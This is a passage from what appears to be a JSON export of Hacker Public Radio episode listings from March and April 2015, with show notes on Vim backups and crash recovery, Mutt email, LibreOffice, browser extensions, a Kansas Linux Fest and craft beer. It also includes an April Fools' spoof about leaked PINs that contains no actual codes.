                                                            \nSpecial recognition needs to be paid to Hacker Public Radio contributor James Michael DuPont for taking point in making a community event in the central United States a reality. Speakers (https://www.kansaslinuxfest.us/pages/schedule.html ) include Open Source Advocate Dave Lester, Hal Gottfried, cofounder of the Open Hardware Evangelist Kansas City Open Hardware Group, David Stokes, MySQL Community Manager at Oracle, Ben C. Roose, Technology Consultant for Live Performance, Kevin Lane, Technical Consultant IV at HP Enterprise Services, Jonathan George, CEO @boxcar, and podcaster and open source evangelist, FiftyOneFifty.\n

                                                            \n

                                                            \nRegistration for conference tickets can be found on the KLF website. Fan tickets are free, but supporter level tickets may be purchased with a free will donation which will go towards marketing and food.\n

                                                            \n

                                                            \nYou will find links on the https://KansasLinuxFest.us homepage that will allow you to follow the conference on social and other media, as well as an RSS feed. There is also information on how to become involved with Free/Libre Open Source and Open Knowledge Association of Kansas.\n

                                                            ","hostid":131,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"#KLF15, Kansas Linux Fest, KLF","version":0,"downloads":0,"valid":1}, {"id":1723,"date":"2015-03-11","title":"Success With Students","duration":1648,"summary":"From taking a podcasting course, students learn the benefit of Creative Commons and open source","notes":"

                                                            \nFor his second attempt at a solo episode of HPR, Kevie talks about a very positive experience he had introducing school pupils to podcasting. From this he was able to discuss the benefits of Creative Commons music and using open source, cross platform software. The ultimate success came when three students took the plunge and installed Linux on their own computers.\n

                                                            \n\n

                                                            Music included in this episode:

                                                            \n\n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"open source, ccmusic, audacity, school, education","version":0,"downloads":0,"valid":1}, {"id":1724,"date":"2015-03-12","title":"Vim Hints 002","duration":1540,"summary":"Hints and Tips for Vim users - part 2","notes":"

                                                            Vim Ate my Homework

                                                            \n

                                                            In this episode I want to look at how to keep your work secure with Vim. Next episode we will look at how to create and edit files.

                                                            \n

                                                            Avoiding data loss with a backup

                                                            \n

                                                            The best place to start is with the configuration file which we met last episode. As we saw, this is usually $HOME/.vimrc. However, it can also be $HOME/.vim/vimrc, which is actually recommended since it keeps all Vim files in the same place. I use the former, since that's the way I have always done it.

                                                            \n

                                                            Let's add some options to this file. Configuration options consist of command mode commands. Actually, to be precise about it, any Vim Script expression may be written there.

                                                            \n

                                                            First it's a good idea to ensure that Vim runs with all of its standard features enabled. The option for this is called compatible (meaning compatible with Vi), which we need to turn off. This is done with the option:

                                                            \n
                                                            set nocompatible
                                                            \n

                                                            Next, it's highly advisable to make Vim generate a backup file whenever it opens a file for editing. The backup file has the same name as the original file with a tilde appended. The configuration command is:

                                                            \n
                                                            set backup
                                                            \n

                                                            The backup file is a copy of the file which existed before editing started.

                                                            \n

                                                            By default the backup file is saved in the same directory as the file being edited. If this is a problem (and to me this is not), then it is possible to tell Vim to save backups in a fixed place. This is done with the command set backupdir= followed by a list of directories. For example:

                                                            \n
                                                            set backupdir=~/.backup,.,/tmp
                                                            \n

                                                            If you were to add this to your configuration file, Vim would save backups in a top-level directory ~/.backup (which must already exist), then if this fails it will save in the current directory, falling back to /tmp if all else fails. Whether you do this is up to you. I would suggest you do not, at least not until you are more experienced with Vim.

                                                            \n

                                                            Undoing and redoing changes

                                                            \n

                                                            Vim can undo changes you make to a file. This is useful if a change was the wrong change or in the wrong place. It can also redo the undone change.

                                                            \n

                                                            The u command in normal mode undoes the last change. The redo function is invoked by pressing the Ctrl key while pressing r. This key sequence is normally represented as CTRL-R.

                                                            \n

                                                            Vim keeps a record of the changes, so successive u commands undo successive changes back in time. Conversely, CTRL-R redoes the undone changes forward in time.

                                                            \n

                                                            Normally the change history is lost when Vim exits, but two configuration options can be used to save it. The undofile option ensures change history is written to a file and undodir shows the (pre-existing) directory which is to hold these files.

                                                            \n
                                                            set undodir=~/.vim/undodir\nset undofile
                                                            \n

                                                            It can be a little surprising if you press u in a file you have just opened in Vim to find that it undoes something you changed last time you edited it! However, on the whole I think this is a great feature.

                                                            \n

                                                            File recovery

                                                            \n

                                                            The Swap File

                                                            \n

                                                            By default Vim uses a recovery mechanism where it generates a swap file. Under Unix and Linux this file has a name built from the name of the file being edited with a dot prepended (making it a hidden file) and with the extension ".swp". So, if you were editing the file testfile the swap file would be a file called .testfile.swp in the same directory.

                                                            \n

                                                            It is possible to make Vim write the swap file elsewhere, such as on another partition. You can also turn this recovery capability off. It is probably advisable to use the default settings while you are learning Vim.

                                                            \n

                                                            The swap file is updated after typing 200 characters or when you have not typed anything for four seconds. The swap file is deleted as soon as Vim stops editing the file.

                                                            \n

                                                            Recovery

                                                            \n
                                                            Case 1: there are changes in the swap file
                                                            \n

                                                            If something bad happens during an editing session, such as the loss of power, the swap file will remain after the event. If you know that you need to recover your edit session then you can simply type the following in the directory where the file you were editing exists:

                                                            \n
                                                            vim -r filename
                                                            \n

                                                            You will see a message such as the following:

                                                            \n
                                                            \n
                                                            Using swap file ".testfile3.swp"\nOriginal file "~/testfile3"\nRecovery completed. You should check if everything is OK.\n(You might want to write out this file under another name\nand run diff with the original file to check for changes)\nYou may want to delete the .swp file now.\n\nPress ENTER or type command to continue
                                                            \n
                                                            \n

                                                            See the explanation on the Vim wiki.

                                                            \n

                                                            Alternatively, when you try to edit a file you were editing at the time of the failure Vim will detect the presence of a swap file and alert you with a message such as:

                                                            \n
                                                            \n
                                                            E325: ATTENTION\nFound a swap file by the name ".testfile2.swp"\n          owned by: hprdemo   dated: Fri Feb 13 15:33:41 2015\n         file name: ~hprdemo/testfile2\n          modified: YES\n         user name: hprdemo   host name: i7-desktop\n        process ID: 16181\nWhile opening file "testfile2"\n             dated: Sat Dec  6 18:34:32 2014\n\n(1) Another program may be editing the same file.  If this is the case,\n    be careful not to end up with two different instances of the same\n    file when making changes.  Quit, or continue with caution.\n(2) An edit session for this file crashed.\n    If this is the case, use ":recover" or "vim -r testfile2"\n    to recover the changes (see ":help recovery").\n    If you did this already, delete the swap file ".testfile2.swp"\n    to avoid this message.\n\nSwap file ".testfile2.swp" already exists!\n[O]pen Read-Only, (E)dit anyway, (R)ecover, (D)elete it, (Q)uit, (A)bort:
                                                            \n
                                                            \n

                                                            Vim here is indicating that there are unsaved changes that can be recovered. It is also warning that if someone is editing the same file (such as you in another window) this might account for the presence of the swap file.

                                                            \n

                                                            Assuming it's appropriate, you can recover the changes and continue editing by pressing r at the above prompt. You will see messages such as the ones above relating to the vim -r filename example.

                                                            \n

                                                            Be aware that if you continue editing the original swap file will continue to exist and you will get the same message again next time you edit the file. Vim will create a new swap file (called /home/hprdemo/.testfile2.swo in this case) to protect the new editing session.

                                                            \n

                                                            This situation can be a little confusing if you have not encountered it before. There are a number of ways you can resolve this:

                                                            \n
                                                              \n
                                                            1. You can save the recovered file and exit Vim (type :wq). You can then edit the same file all over again. You will see almost the same message as before, but you can now delete the swap file by pressing d. The message you see the second time round will contain the additional warning that the file you are editing is newer than the swap file - that is because you just saved a new copy of it!

                                                            2. \n
                                                            3. You can save the file and exit Vim as above, but then explicitly delete the swap file. In the example you would do this by typing: rm .testfile2.swp

                                                            4. \n
                                                            5. As before you can save the file but this time without exiting Vim (type :w). Then tell Vim to re-edit the current file with the command :e. You will then see the warning about there being a swap file, and you can type d to delete it.

                                                            6. \n
                                                            \n
                                                            Case 2: there are no changes in the swap file
                                                            \n

                                                            If, when you see the message about finding a swap file you see that there are no changes to recover you can just delete the swap file by pressing d. You can then continue with editing the file as normal.

                                                            \n

                                                            Don't Panic!

                                                            \n

                                                            This recovery process is complex because Vim is trying to ensure that you are protected against losing your changes.

                                                            \n

                                                            As it says in the Vim manual DON'T PANIC!

                                                            \n

                                                            Summary

                                                            \n
                                                              \n
                                                            • The configuration file should contain the following:
                                                            • \n
                                                            \n
                                                            set nocompatible\nset backup\nset undodir=~/.vim/undodir\nset undofile
                                                            \n
                                                              \n
                                                            • Use u in normal mode to undo a change
                                                            • \n
                                                            • Use CTRL-R in normal mode to redo an undone change
                                                            • \n
                                                            • Re-starting Vim after a crash will invoke a recovery dialogue
                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":82,"explicit":1,"license":"CC-BY-SA","tags":"vim,gvim,editor,backup,undo,redo,crash recovery","version":0,"downloads":0,"valid":1}, {"id":1725,"date":"2015-03-13","title":"49 - LibreOffice Calc - Creating a Template with Styles","duration":838,"summary":"We create Template (recording Billable Time) using Styles to illustrate the usage.","notes":"

                                                            \nThe last few tutorials have looked at the techniques you need to master to use Styles and Templates effectively, but putting these into practice is essential to understanding them, I believe. So it is time for us to actually built a Template that incorporates a few styles and put the whole package together. For my example, I am going to create something useful for a consultant who needs to keep track of time for billing customers.\n

                                                            \n\n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, Styles, Templates","version":0,"downloads":0,"valid":1}, {"id":1726,"date":"2015-03-16","title":"15 Excuses not to Record a show for HPR","duration":1137,"summary":"Inspired by a recent meeting with Ken Fallon, Knightwise presents 15 excuses not to record a show.","notes":"

                                                            \nInspired by a recent meeting with Ken Fallon at Fossdem, Knightwise presents 15 excuses not to record for Hacker Public Radio.\n

                                                            \n
                                                              \n
                                                            1. I don't have the right Gear
                                                            2. \n
                                                            3. It doesn't sound so polished
                                                            4. \n
                                                            5. I don't know how to upload
                                                            6. \n
                                                            7. I don't have a radio voice
                                                            8. \n
                                                            9. I don't have the time
                                                            10. \n
                                                            11. I'm shy
                                                            12. \n
                                                            13. I don't have anything to say
                                                            14. \n
                                                            15. The stuff I know about is realy niche and noone will be interested
                                                            16. \n
                                                            17. What if I get negative comments
                                                            18. \n
                                                            19. Who would listen to my show anyway
                                                            20. \n
                                                            21. I've never done this before
                                                            22. \n
                                                            23. I'll get around to it someday
                                                            24. \n
                                                            25. I recorded a show but I'm too afraid to submit it
                                                            26. \n
                                                            27. It takes me a long time to edit out the \"um\" and \"er\"
                                                            28. \n
                                                            29. I don't know enough about audio editing yet
                                                            30. \n
                                                            ","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hpr,podcasting,tips,techniques,kw,knightwise,excuses","version":0,"downloads":0,"valid":1}, {"id":1727,"date":"2015-03-17","title":"Basic Mutt","duration":1902,"summary":"Frank Bell discusses setting up and using Mutt as an email client.","notes":"Using a text email client such as Mutt is quite a learning experience. Here is some information to help you get started.
                                                            \n\nThe programs that Frank used to set up Mutt:
                                                            \n\nGetting and Sorting Mail:
                                                            \nFetchmail https://sourceforge.net/projects/fetchmail/
                                                            \nProcmail and Formail https://www.procmail.org/
                                                            \n\nReading and Composing Mail: Mutt https://www.mutt.org/
                                                            \n\nSending Mail: msmtp https://msmtp.sourceforge.net/
                                                            \n\nThese are the references that Frank found most helpful:
                                                            \n\nConfiguring Mutt:
                                                            \nQuickstart Guide to Mutt: https://docs.huihoo.com/gentoo/resources/document-listing/guide-to-mutt.html
                                                            \n\nCalmar on Mutt: https://www.calmar.ws/mutt/
                                                            \nFeeding the Cloud: Handling multiple identities/accounts in mutt: https://feeding.cloud.geek.nz/posts/handling-multiple-identitiesaccounts-in/
                                                            \n\nProcmail (the UMBC link is a great introduction to procmail and procmail's regex):
                                                            \nMail Filtering with Procmail: https://userpages.umbc.edu/~ian/procmail.html#example
                                                            \nhttps://www.linux-mag.com/id/826/
                                                            \n\nSome Text Browsers (for help in parsing HTML emails)
                                                            \nLynx https://lynx.isc.org/
                                                            \nLinks https://www.jikos.cz/~mikulas/links/
                                                            \nelinks https://elinks.or.cz/
                                                            \nw3m https://w3m.sourceforge.net/
                                                            \n","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Mutt,email,procmail,fetchmail","version":0,"downloads":0,"valid":1}, {"id":1728,"date":"2015-03-18","title":"Requested Topic: Favourite Browser Extensions","duration":1204,"summary":"Fin talks about his favourite browser extensions.","notes":"

                                                            \nNoScript is great for blocking JavaScript that may be undesirable. Scripts tend to track users or load obtrusive or undesirable content in my experience.\nNoScript also blocks Adobe Flash and Java which can be resource hogs. A simple click will activate them. Scripts can be enabled or disabled by site.\n

                                                            \n

                                                            \nHTTPS Everywhere will automatically direct your browser to a secure https version of sites you visit, if available. Great for security (obviously).\n

                                                            \n

                                                            \nAdblock Edge is a great ad blocker. It blocks all ads no matter how obtrusive they are. Does not contain hidden white-list like more popular ad blocker: Adblock Plus.\n

                                                            \n

                                                            \nLibreJS targets non free JavaScript. I think it is a fantastic idea but makes too many sites unusable. I prefer NoScript as I can more easily micro-manage scripts per domain.\n

                                                            \n\n

                                                            Links:

                                                            \n\n\n","hostid":299,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"browser extensions,firefox,noscript,https everywhere,adblock edge,librejs","version":0,"downloads":0,"valid":1}, {"id":1729,"date":"2015-03-19","title":"Shield's Up - Wood Stove Heat Shield Project","duration":957,"summary":"David Whitman builds a safety heat shield for a wood stove in his shop","notes":"

                                                            \nThe Problem: Wood stoves get really hot
                                                            \nThe solution: metal heat shield and airspace
                                                            \nI describe how I used common materials and self designed a wood stove heat Shield.
                                                            \nHopefully there are pictures attached to this episode show notes so you can see just how well I described my project
                                                            \n

                                                            \n

                                                            \nhpr1729-Pictures_Shield_Up-Wood_Stove_Heat_Shield.pdf\n

                                                            \n","hostid":209,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Shop, wood heat, Oregon, safety","version":0,"downloads":0,"valid":1}, {"id":1730,"date":"2015-03-20","title":"5150 Shades of Beer 0005 River City Brewing Company Revisited","duration":2295,"summary":"Fifty One Fity revisits an Air Capitol brewpub to try some new flavors","notes":"

                                                            \nThe great thing about brew pubs is that they always trying new beers so the customer experience doesn't become as stale as a half finished can of Budweiser let out overnight. That means I can return to the same place and experience a whole new vista of flavors. Such was the case last Sunday, when a social affair brought me withing blocks of the River City Brewing Company in Wichita Kansas. I had the forethought to be my three growlers for refilling, and by the time the meeting was of it was time for a burger and a beer anyway. Lets talk about the meal first.\n

                                                            \n

                                                            \nHaving already tried their pizza and amazing Cuban sandwich on previous trips, this time a went for a burger. From the River City menu ( https://www.rivercitybrewingco.com/rcbmenu.pdf ) The Memphis Burger is topped with sweet pepper bacon, cheddar cheese, crispy onion strings and chipotle BBQ sauce. On top of all that, the hamburger was grilled to perfection, in my case that being exceedingly rare. (One of my Dads friends, every time he sees me eating a steak or a burger, always comments You know, I've seen a critter hurt worse that that and live). I was most impressed by the onion strings. These are not the French fried onion rings that you find atop your green beans on Thanksgiving, but rather the most delicate strings of onion imaginable, battered and fried. I found myself wishing Id thought to order extra BBQ sauce for my French fries, which were hearty and sprinkled with fresh ground black pepper. Id never thought of peppering my fries before, but be assured Ill do so in the future.\n

                                                            \n

                                                            \nTo accompany my burger, I selected the Breckenridge Bourbon Smoked Imperial Stout. It weighs in at 9.0%abv, so you get a smaller that average portion in an 11oz brandy snifter. While stouts are usually nearly as bitter as IPAs, I don't notice it as much when coupled with the beers bold flavor. Unlike IPAs, stouts tend to have enough malty richness to add balance. In the case of this beer, the barley is smoked over hazelnuts before fermentation, giving this beer its flavor and its name. I've want to try a smoked stout since I heard Tracy Hotlz speak of them back on the old Podbrewers show. I don't think Id want to be restricted to an exclusive diet of smoked beers, but this was a welcome change from the ordinary, and a great compliment to my beefy repast. Truly an excellent brew.\n

                                                            \n

                                                            \nNow, on to the contents of my three growlers. I wish I could give you first impressions, but come on, I just couldn't wait for you folks. It was hard enough to wait for the containers to chill overnight in the fridge.\n

                                                            \n

                                                            \nThe first beer is even more unique than the smoked stout. Donut Whole Love Affair #3 Pineapple Wit is made with actual pineapple donuts (from River Citys Facebook page https://www.facebook.com/RiverCityBreweryCo/photos/a.555320064516059.1073741826.194563133925089/796375363743860/?type=1 ). The first taste you encounter is tart pineapple on the tip of your tongue joined by powdered sugar as the beer washes towards the back of you mouth. The sugar taste tends to stay with you between sips, but the whole effect is subtle and wonderful, not fruit juicy like a shandy. The wheat beer hovers in the background, not enough to obscure the donut, but blending the pastry taste into the breadyness of the beer. I didn't know what to expect of this beer when I ordered it, but I am most pleased I did. 5.65abv 11 IBUs 16oz Weizen\n

                                                            \n

                                                            \nNext, we have Pryze Fyter Red Rye. By far, this is the smoothest and richest rye beer I've ever tasted. I'm a big fan of rye beers, but they tend to be a little more harsh than wheat beers, and are of course more bitter. Like rye whiskey, rye beer is an acquired taste for many people, and best suited for those with a palette that craves bold flavors. According to the menu, Carmel malts, a copious amount of rye. Spicy, floral, earthy, and ready to smack you in the kisser. 5.6%abv 55 IBUs 16oz Nonic\n

                                                            \n

                                                            \nFinally, we have the Buffeit Bourbon Baltic Porter. Of the two bourbon barrel aged porters on the menu, my barman described this slightly sweeter. While I've never been a fan of the woody tasting bourbons of Tennessee, barrel aging lends a roundness to beers, and compliments the roasted malts and the hops. This is the strongest of the beers I brought home, at 7.2%abv, 47IBUs, and would be served in a 13z Tulip glass.\n

                                                            \n

                                                            \nI made the mistake of not taking a beer menu home with me for documentation, as a list of currently available beers no longer appears on line. Chris Arnold took the time to scan a copy and send it to my e-mail. Thanks Chris. I don't think River City Brewing Company will mind me attaching the menu to my notes for you listeners to salivate over. There are two in particular I'm sorry to have missed, the Stinky Pete Plum Saison (they always seems to be out of the raisin and plum beers) and the Emerald City Stout (a man has only so many growlers).\n

                                                            \n

                                                            \nThat brings me to my next topic. Among the many interviews I want to do from Linux Fest next week, I'm also going to visit the Free State Brewery, only a couple blocks away. I called ahead, and they wont fill other pubs growlers (that's going to cost you some points Free State). On the upside, I'll have a couple new growlers to add to my collection.\n

                                                            \n

                                                            \nMenu (PDF)\n

                                                            \n","hostid":131,"series":14,"explicit":0,"license":"CC-BY-SA","tags":"5150 Shades of Beer,beer,growler,stout,River City Brewing Company","version":0,"downloads":0,"valid":1}, {"id":1731,"date":"2015-03-23","title":"Upgrading an old laptop","duration":719,"summary":"I put brand new parts into an old fujitsu lifebook 4215","notes":"

                                                            \nIn July of 2010 I was given a laptop to repair by one of my friends, I couldn’t figure out what was wrong with it despite hours of trial and error so eventually I got so frustrated with it that I just set it aside and forgot about for a while. Meanwhile my friend got another laptop so he told me I could keep it.\n

                                                            \n\n

                                                            \nFor the rest of the post see:
                                                            \nhttps://anthonyvenable110.wordpress.com/2011/10/10/upgrading-my-laptop/\n

                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hardware upgrade,laptop","version":0,"downloads":0,"valid":1}, {"id":1732,"date":"2015-03-24","title":"Renovating another Public-Domain Counterpoint Textbook","duration":2014,"summary":"A follow-up to ep. 1512, I reflect on what I've learned digitizing two Counterpoint textbooks.","notes":"

                                                            \nI mistakenly referred to episode 1516 while I was speaking. I meant to say 1512. The two musical bumpers I used in the show are by J.S. Bach, examples 90 and 91 in the textbook \"Applied Counterpoint,\" by Percy Goetschius. These are my own MIDI renditions so they have no copyright burden upon them. \n

                                                            \n

                                                            \nMy html-to-epub conversion command (requires calibre): \n

                                                            \n
                                                            \nebook-convert foobar.html foobar.epub \\\n--output-profile=tablet \\\n--disable-font-rescaling \\\n--smarten-punctuation \\\n--change-justification=left \\\n--preserve-cover-aspect-ratio \\\n--cover=./pathto/cover.jpg \\\n--use-auto-toc \\\n--level1-toc \"//h:h1\" \\\n--level2-toc \"//h:h3\"\n
                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"public-domain, textbooks, music, counterpoint, Lilypond, html, scripting, calibre, ebooks","version":0,"downloads":0,"valid":1}, {"id":1733,"date":"2015-03-25","title":"LinuxLugCast Episode-003 Outtakes","duration":4261,"summary":"Preshow & aftershow banter that does not get published through our normal feeds.","notes":"

                                                            \nSome good content that we do not publish.\n

                                                            \n

                                                            \nhttps://linuxlugcast.com/?p=162\n

                                                            ","hostid":265,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linuxlugcast,outtakes","version":0,"downloads":0,"valid":1}, {"id":1734,"date":"2015-03-26","title":"Vim Hints 003","duration":1562,"summary":"Hints and Tips for Vim users - part 3","notes":"

                                                            Moving Around

                                                            \n

                                                            In this episode I want to look at how you move around the file you are editing in Vim. I also want to add some more elements to the configuration file we started building in the last episode.

                                                            \n

                                                            Full Notes

                                                            \n

                                                            Since the notes explaining this subject are long (the size limit is 4000 characters), they have been placed here.

                                                            \n

                                                            I usually create my notes with Markdown and pandoc. As an experiment this time I have used a pandoc template which uses the same CSS that provides the style for the main HPR pages. I hope it makes these notes look better than the very bare HTML I have produced in the past.

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            1. Vim Hints Episode 1
                                                            2. \n
                                                            3. Vim Hints Episode 2
                                                            4. \n
                                                            \n","hostid":225,"series":82,"explicit":1,"license":"CC-BY-SA","tags":"vim,editor,movement,configuration","version":0,"downloads":0,"valid":1}, {"id":1735,"date":"2015-03-27","title":"Free tutorials for teachers","duration":897,"summary":"Professor Bernard Poole makes free tutorials available aimed at teachers","notes":"

                                                            \nI have received a very generous offer from Bernard J. Poole, a professor at the University of Pittsburgh. He has a series of LibreOffice Tutorials and has asked me to publicize that they are available free of charge to all of our LibreOffice fans on Hacker Public Radio. You can find his tutorials on his web site at https://www.pitt.edu/~poole/. He is particularly aiming his tutorials at educators who might use LibreOffice in the classroom\n

                                                            ","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"Teachers, tutorials","version":0,"downloads":0,"valid":1}, {"id":1736,"date":"2015-03-30","title":"How I run my small business using Linux","duration":1139,"summary":"How I use Linux for my Business","notes":"

                                                            Hardware

                                                            \n\n
                                                              \n
                                                            • System76 Galago Ultrapro - Ubuntu 14.04\n
                                                            • \n
                                                            • Synology DiskStation DS213j\n
                                                            • \n
                                                            • LG G2\n
                                                            • \n
                                                            \n\n

                                                            Proprietary Applications

                                                            \n\n
                                                              \n
                                                            • Synology Cloud Station\n
                                                            • \n
                                                            • Wireframe Sketcher\n
                                                            • \n
                                                            \n\n

                                                            Free Applications

                                                            \n\n
                                                              \n
                                                            • pandoc\n
                                                            • \n
                                                            • discount\n-firefox\n
                                                            • \n
                                                            • chromium\n
                                                            • \n
                                                            • gvim\n
                                                            • \n
                                                            • libreoffice\n
                                                            • \n
                                                            • planner\n
                                                            • \n
                                                            • hamster\n
                                                            • \n
                                                            • todo.txt\n
                                                            • \n
                                                            • gnucash\n
                                                            • \n
                                                            • virtualbox\n
                                                            • \n
                                                            • thunderbird\n
                                                                \n
                                                              • enigmail
                                                              • \n
                                                              • stationary
                                                              • \n
                                                              \n
                                                            • \n
                                                            • california\n
                                                            • \n
                                                            • ranger\n
                                                            • \n
                                                            • L2TP/IPSEC vpn client\n
                                                            • \n
                                                            • meld\n
                                                            • \n
                                                            • deja-dup -> Box\n
                                                            • \n
                                                            • Systemback\n
                                                            • \n
                                                            • rsync\n
                                                            • \n
                                                            \n\n

                                                            Links

                                                            \n\n","hostid":300,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linux, small business, open source","version":0,"downloads":0,"valid":1}, {"id":1737,"date":"2015-03-31","title":"Five Steps to Vim","duration":1339,"summary":"Frank Bell discusses how he learned to stop worrying and love the vim","notes":"

                                                            \nThe vim editor is based on the venerable vi editor, which dates from the very\nearly days of Unix. Many persons find it intimidating for the absence of a\nmenu bar, a terse command set that is very much its own, and its \"modal\"\ndesign.\n

                                                            \n

                                                            \nNevertheless, under its plain surface is a powerful and versatile tool. Frank\nBell describes his five steps to learning to use and love vim.\n

                                                            \n
                                                              \n
                                                            1. Use a .vimrc file.
                                                            2. \n
                                                            3. Train yourself to change modes.
                                                            4. \n
                                                            5. Learn and use a few basic commands. These should be enough to get you\ngoing: x, dd, dw (to delete text); cw (change a work); yy (\"yank\" or copy a\nline); p and P (to paste text); u (undo); w (\"write\") or save text; q (quit vim).
                                                            6. \n
                                                            7. Don't force yourself to move the cursor with the h-j-k-l keys if that doesn't feel natural.\nUse the arrow keys.
                                                            8. \n
                                                            9. Use vim to write stuff.
                                                            10. \n
                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":195,"series":82,"explicit":0,"license":"CC-BY-SA","tags":"vim,text editor","version":0,"downloads":0,"valid":1}, {"id":1738,"date":"2015-04-01","title":"Credit Card PIN breach","duration":5240,"summary":"We expose a well known but ignored security breach","notes":"\n

                                                            Spoiler

                                                            \n

                                                            Your passwords are as secure as they ever were

                                                            \n

                                                            \nOn September the 10th, 2012 an anonymous malicious hacker released 10,000 pin codes onto the site paste bin dot com. How the attacker gained access to the codes is not known, but it is thought that it may be linked to a breach that occurred at the end of March 2012 to the Credit card processor Global Payments. That attack exposed 1.5 million consumers financial data. These codes have been confirmed by security experts to be legitimate and in wide spread use even today. Despite this exposure been \"common knowledge\" among the security community, major banks and credit card companies have yet to issue any statement on the breach.\n

                                                            \n

                                                            \nTired of waiting for action by big business, we bring you a list of the codes so you can check for yourself if your data is compromised.\n

                                                            ","hostid":109,"series":83,"explicit":0,"license":"CC-BY-SA","tags":"April fools, credit card pin, security","version":0,"downloads":0,"valid":1}, {"id":1739,"date":"2015-04-02","title":"Theater of the Imagination: Part 07","duration":1654,"summary":"Episode 07 of lostnbronx's series about dramatic audio media.","notes":"

                                                            In Part 07, lostnbronx talks about his Tascam DR-40 solid state recording device, covers an OTR show of particular note, along with a new show that's also extremely cool, and then makes a plea for you to support your favorite artists.\n

                                                            \n\n

                                                            MUSIC IN THIS EPISODE

                                                            \n\n\n\n\n

                                                            The Tascam DR-40

                                                            \n\n

                                                            The Zoom H4n

                                                            \n\n\n

                                                            AUDIO CLIPS

                                                            \n\n

                                                            The Lives of Harry Lime

                                                            \n\n\n

                                                            The Wireless Theater Company

                                                            \n\n","hostid":107,"series":52,"explicit":0,"license":"CC-BY-SA","tags":"audio drama, lostnbronx, recording, hardware, art","version":0,"downloads":0,"valid":1}, {"id":1740,"date":"2015-04-03","title":"Mailing List Etiquette","duration":2744,"summary":"Some advice about best practices on mailing lists","notes":"

                                                            Mailing List Etiquette

                                                            \n

                                                            Overview

                                                            \n

                                                            In February 2015 I created a script to add a section to the monthly Community News show notes. The added section summarises the discussions on the HPR mailing list over the previous month. My script processes the messages archived on the Gmane site and reports on the threads it finds there.

                                                            \n

                                                            In writing this script I noticed the number of times people made errors in replying to existing message threads and initiating new threads on the list. I thought it might be helpful if I explained some of the do's and don'ts of mailing list use to help avoid these errors.

                                                            \n

                                                            Full Notes

                                                            \n

                                                            Since the notes explaining this subject are long (the size limit is 4000 characters), they have been placed here

                                                            \n

                                                            Experimental EPUB Notes

                                                            \n

                                                            For this show I have tried generating an EPUB version of the full notes. This can be found here. Comments on this idea are welcome.

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            1. Gmane archive of the Hacker Public Radio mailing list: https://dir.gmane.org/gmane.network.syndication.podcast.hacker-public-radio
                                                            2. \n
                                                            3. Wikipedia article on message groupings referred to as conversations, topic threads, or threads: https://en.wikipedia.org/wiki/Conversation_threading
                                                            4. \n
                                                            5. A brief note on how to punctuate the phrase "do's and don'ts": https://www.visualthesaurus.com/cm/wc/dos-and-donts-or-dos-and-donts/
                                                            6. \n
                                                            7. Wikipedia article on Usenet: https://en.wikipedia.org/wiki/Usenet
                                                            8. \n
                                                            9. Thunderbird add-on ThreadVis: https://addons.mozilla.org/en-US/thunderbird/addon/threadvis/
                                                            10. \n
                                                            11. Wikipedia article on the RFC document: https://en.wikipedia.org/wiki/Request_for_Comments
                                                            12. \n
                                                            13. Text of RFC5322: https://www.rfc-editor.org/rfc/rfc5322.txt
                                                            14. \n
                                                            15. Wikipedia article on Email: https://en.wikipedia.org/wiki/Email
                                                            16. \n
                                                            17. Wikipedia article on MIME used in email: https://en.wikipedia.org/wiki/MIME
                                                            18. \n
                                                            19. Description of a threading algorithm from Jamie Zawinski: https://www.jwz.org/doc/threading.html
                                                            20. \n
                                                            21. Text of RFC1153: https://www.faqs.org/rfcs/rfc1153.html
                                                            22. \n
                                                            23. Wikipedia article on posting style: https://en.wikipedia.org/wiki/Posting_style
                                                            24. \n
                                                            25. A recent large thread on the Mailman-Users mailing list discussing the subject of replying to lists: https://www.mail-archive.com/mailman-users%40python.org/msg66089.html
                                                            26. \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"email,mailing list,thread,conversation,mail client","version":0,"downloads":0,"valid":1}, {"id":1741,"date":"2015-04-06","title":"HPR Community News for March 2015","duration":4618,"summary":"HPR Community News for March 2015","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n tcuc, \n Fin, \n Mr. Young.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1716Mon2015-03-02HPR Community News for February 2015HPR Volunteers
                                                            1717Tue2015-03-03Visualizing electricitytcuc
                                                            1718Wed2015-03-04What's In My Pickup ToolboxFiftyOneFifty
                                                            1719Thu2015-03-05The Linux Tree CommandJWP
                                                            1720Fri2015-03-0615 Certificate Issues and SolutionsAhuka
                                                            1721Mon2015-03-09Cross-compilers Part 2Mike Ray
                                                            1722Tue2015-03-10Kansas Linux Fest 2015, March 21-22, Lawrence KSFiftyOneFifty
                                                            1723Wed2015-03-11Success With StudentsKevie
